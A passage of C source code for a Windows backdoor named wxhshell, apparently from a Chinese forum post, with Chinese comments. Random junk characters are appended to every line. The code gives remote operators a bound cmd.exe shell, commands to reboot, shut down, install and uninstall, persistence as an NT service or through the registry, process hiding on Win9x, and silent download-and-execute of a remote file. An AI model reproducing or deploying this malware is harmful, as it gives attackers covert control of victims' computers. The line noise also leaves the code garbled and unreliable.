  else { _A~gqOe  
\r&@3a.>  
    switch(cmd[0]) { nFn`>kQ  
  g#&##f  
  // 帮助 {N`<e>A]{  
  case '?': { +=xRr?F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f@X*Tlx^|  
    break; eNskuG|1  
  } Oc=PJf%D#  
  // 安装 lBC-G*#  
  case 'i': { zIm!8a  
    if(Install()) &xT~;R^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZX}"  
    else gx.]4 v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Q"+ #Ob  
    break; Tj~#Xc  
    } sm S0Rk  
  // 卸载 :cz]8~i\  
  case 'r': { c3BL2>c  
    if(Uninstall()) NGzqiu"J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YA8~O5  
    else YCdxU1V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z*B(L@H  
    break; (KU@hp-\  
    } 0u9h2/ma  
  // 显示 wxhshell 所在路径 ''YjeX  
  case 'p': { (!=aRC.-  
    char svExeFile[MAX_PATH]; -JQg{A  
    strcpy(svExeFile,"\n\r"); Q*(C)/QW  
      strcat(svExeFile,ExeFile); Rb*\A7o|;  
        send(wsh,svExeFile,strlen(svExeFile),0); ':dHYvP/UX  
    break; IH}L1i A)  
    } ]jrxrUl  
  // 重启 fL:Fn"Nv  
  case 'b': { BS.6d}G4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .`RC,R`C  
    if(Boot(REBOOT)) {bEEQCweNJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); | Ylk`<  
    else { ZJm^znpw6  
    closesocket(wsh); "xI[4~'`:  
    ExitThread(0); +.uk#K0o  
    } '1nU[,Wj  
    break; |Q;1;QXd  
    } bS6Yi)p  
  // 关机 s]>%_(5  
  case 'd': { TD9`S SpP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M] *pBc(o0  
    if(Boot(SHUTDOWN)) GjG3aqP&!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (o\~2e:  
    else { )T_ #X!  
    closesocket(wsh); g{(nt5|^l  
    ExitThread(0); x~^nlnKVf  
    } WGK::?  
    break; </p.OaNe  
    } \]El%j4  
  // 获取shell iHB)wC`u  
  case 's': { &o.SmkJI  
    CmdShell(wsh); z w9r0bG  
    closesocket(wsh); m8'1@1d|  
    ExitThread(0); JH#?}L/0Fe  
    break; !}7m^  
  } lY`<-`{I_  
  // 退出 j+/*NM_y3  
  case 'x': { b<7f:drVC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S\(_"xJPp  
    CloseIt(wsh); N|}`p"  
    break; aoS1Yt'@  
    } r0>T7yPAK  
  // 离开 3\7$)p+c  
  case 'q': { T(DE^E@a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hrF4 a$  
    closesocket(wsh); GAKJc\o  
    WSACleanup(); <rs]@J'p  
    exit(1); 470Pig>I8  
    break; <i-RF-*S  
        } l<?wB|1'  
  } f6)H!SI  
  } ^Du_e(TiyK  
ZxQP,Ys_Y  
  // 提示信息 8b!_b2Za  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WTx;,TNG  
} L8Q!6oO=<  
  } Y`uCDfcQ  
(Bz(KyD[  
  return; ).xWjVC  
} 3}+ \&[  
S{6u\Vy  
// shell模块句柄 `<q5RuU  
int CmdShell(SOCKET sock) 1wt]J!hgV  
{ X*Zv,Wm  
STARTUPINFO si; $)!Z"2T  
ZeroMemory(&si,sizeof(si)); r^)<Jy0|r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v]~[~\|a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [qB=OxH?  
PROCESS_INFORMATION ProcessInfo; @$]h[   
char cmdline[]="cmd"; S8l+WF4q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M;R>]wP"V  
  return 0; Tx_ LH"8  
} 7Z_iQ1  
)SuJK.IF  
// 自身启动模式 3]acfCacC  
int StartFromService(void) VbjW$?  
{ p WHu[Fu  
typedef struct .anL}OA_q  
{ uHYI :(O  
  DWORD ExitStatus; q`hg@uwA{`  
  DWORD PebBaseAddress; wlJ1,)n^2  
  DWORD AffinityMask; #A!0KN;GC2  
  DWORD BasePriority; cf9y0  
  ULONG UniqueProcessId; {;U:0BPI3  
  ULONG InheritedFromUniqueProcessId; Nsq%b?#  
}   PROCESS_BASIC_INFORMATION; =[kv@ p  
UuGv= yC^6  
PROCNTQSIP NtQueryInformationProcess; ^&Bye?`5  
_17"T0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mD! imq%=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _ sd?l  
CfU )+20  
  HANDLE             hProcess; `0D+x  
  PROCESS_BASIC_INFORMATION pbi; novZ<?7 5;  
6c:$[owC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?9:\1)]  
  if(NULL == hInst ) return 0; ?jbam! A  
W2RS G~|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kVY@q&p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rk|6!kry  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0W)_5f&  
n !QjptQ  
  if (!NtQueryInformationProcess) return 0; N@}U;x}  
>:=TS"}yS}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2r,fF<WQ  
  if(!hProcess) return 0; 15COwc*k  
?4_;9MkN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _[ x(p6Xp  
8'y|cF%U  
  CloseHandle(hProcess); 8Bhng;jX  
u8*0r{kOH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m N{$z<r  
if(hProcess==NULL) return 0; dn Xc- <  
+]#>6/2q  
HMODULE hMod; V47 Fp  
char procName[255]; @azS)4L  
unsigned long cbNeeded; WKG=d]5  
-}%zus5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  Po5}Vh  
j[9 B,C4  
  CloseHandle(hProcess); wP%;9y2B  
<:?&}'aA  
if(strstr(procName,"services")) return 1; // 以服务启动 X*T9`]l6  
&("?6%GC  
  return 0; // 注册表启动 &7 ,wdG  
} T*oH tpFj#  
aD4ln]sFxG  
// 主模块 #r1x0s40D  
int StartWxhshell(LPSTR lpCmdLine) gU`QW_{  
{ 9} vWTt0  
  SOCKET wsl; q9OIw1xQr*  
BOOL val=TRUE; k@w&$M{tPF  
  int port=0; E^g6,Y:i9  
  struct sockaddr_in door; #\}hN~@F  
X_h+\ 7N>  
  if(wscfg.ws_autoins) Install(); YXvKDw'95  
.}tL:^'~o  
port=atoi(lpCmdLine); HV}NT~  
<C&UD j  
if(port<=0) port=wscfg.ws_port; | c;S'36  
L2 I/h`n"  
  WSADATA data; 7Qo*u;fr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]SQ_*$`  
@t_<oOI2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k z#DBh!&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !n7?w@2a'  
  door.sin_family = AF_INET; >@t]M`#&h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3yTBkFI!  
  door.sin_port = htons(port); RKe19l_V  
E(TY%wO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b`^$2RM&  
closesocket(wsl); +G?3j,a\  
return 1; )T>a|.  
} 3}"VUS0wh  
<Sz9: hg-  
  if(listen(wsl,2) == INVALID_SOCKET) { Ss8`;>  
closesocket(wsl); A3Su&0uaB  
return 1;  9( m^^  
} &?~> I[^~  
  Wxhshell(wsl); zIQ\ _>  
  WSACleanup(); iB\d `NUf  
]Y3ALQr!  
return 0; zR e0z2  
+Y .As  
} ;G w5gK^  
YXmLd'F^3  
// 以NT服务方式启动 f`?|A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U8moVj8w1  
{ `aCcTs7~]p  
DWORD   status = 0; m8FKr/Z-  
  DWORD   specificError = 0xfffffff; o}[wu:>yk  
1f}Dza9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a1?Y7(alPU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .9`.\v6R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0py0zE6,,  
  serviceStatus.dwWin32ExitCode     = 0; Sna7r~ j  
  serviceStatus.dwServiceSpecificExitCode = 0; WhkE&7Gk  
  serviceStatus.dwCheckPoint       = 0; F.JE$)B2EX  
  serviceStatus.dwWaitHint       = 0; nF7Ozxm#  
>:Rc%ILym  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b+w|3bQa  
  if (hServiceStatusHandle==0) return; #KiRH* giU  
^fRA$t  
status = GetLastError(); AR&u9Y)I  
  if (status!=NO_ERROR) ^.k}YSWut  
{ GLEGyT?~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zhFGMF1  
    serviceStatus.dwCheckPoint       = 0; FQ);el'_V  
    serviceStatus.dwWaitHint       = 0; f}o`3v*z  
    serviceStatus.dwWin32ExitCode     = status; UA{A G;  
    serviceStatus.dwServiceSpecificExitCode = specificError; &Uzg&eB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A H`6)v<f  
    return; uYV# '%  
  } zV%U4P)Dao  
_m;Y'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  M*%iMz  
  serviceStatus.dwCheckPoint       = 0; nL\BB&  
  serviceStatus.dwWaitHint       = 0; RsY|V|<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y%43w4  
} ,;UVQwY  
x H\5T!  
// 处理NT服务事件,比如:启动、停止 >YD? pDPb/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $LKniK  
{ i/~A7\:8%  
switch(fdwControl) x#'# ~EO-G  
{ uQrD}%GI  
case SERVICE_CONTROL_STOP: P.LMu  
  serviceStatus.dwWin32ExitCode = 0; vX&Nh"0H&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EFV'hMjS)  
  serviceStatus.dwCheckPoint   = 0; i :@00)V{,  
  serviceStatus.dwWaitHint     = 0; {]`O$S  
  { K o,O!T.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X5=Dc+  
  } ]5B5J  
  return; Qb/qUUQO;0  
case SERVICE_CONTROL_PAUSE: FhW\23OC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5v8_ji#l[  
  break; 4h?[NOA"  
case SERVICE_CONTROL_CONTINUE: 9=Y-w s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EZao\,t  
  break; .#P'NF(5#  
case SERVICE_CONTROL_INTERROGATE: :+; U W \  
  break; |R DPx6!V  
}; W$  M4#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  #\Lt0  
} sFMSH :5z  
!fjDO!,!  
// 标准应用程序主函数 Kh}#At^C8e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1%t9ic  
{ c:M~!CXO  
c V=h 8F  
// 获取操作系统版本 Beq zw0  
OsIsNt=GetOsVer(); Z_Hc":4i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YrFB~z.V  
3 rV)JA  
  // 从命令行安装 WL+I)n8~  
  if(strpbrk(lpCmdLine,"iI")) Install(); pvD\E  
SVo:%mX  
  // 下载执行文件 U)o(}:5xF  
if(wscfg.ws_downexe) { ?x=;?7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "}Vow^vb  
  WinExec(wscfg.ws_filenam,SW_HIDE); >d&B:  
} N!{('po  
gYw4YP0Gz  
if(!OsIsNt) { D `c YQ-  
// 如果时win9x,隐藏进程并且设置为注册表启动 k9xfv@v}  
HideProc(); Wyd,7]'z)Z  
StartWxhshell(lpCmdLine); cE$7CSR  
} 0ERA(=w5  
else QGs\af  
  if(StartFromService()) -xPv]j$  
  // 以服务方式启动 1!~=8FTv  
  StartServiceCtrlDispatcher(DispatchTable); @))PpE`co8  
else qlNK }  
  // 普通方式启动 2r]80sWY  
  StartWxhshell(lpCmdLine); l`M{Ravvn*  
Cj#$WZga%  
return 0; ZkSlztL)Tr  
}
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只看该作者 1 发表于: 2006-10-10
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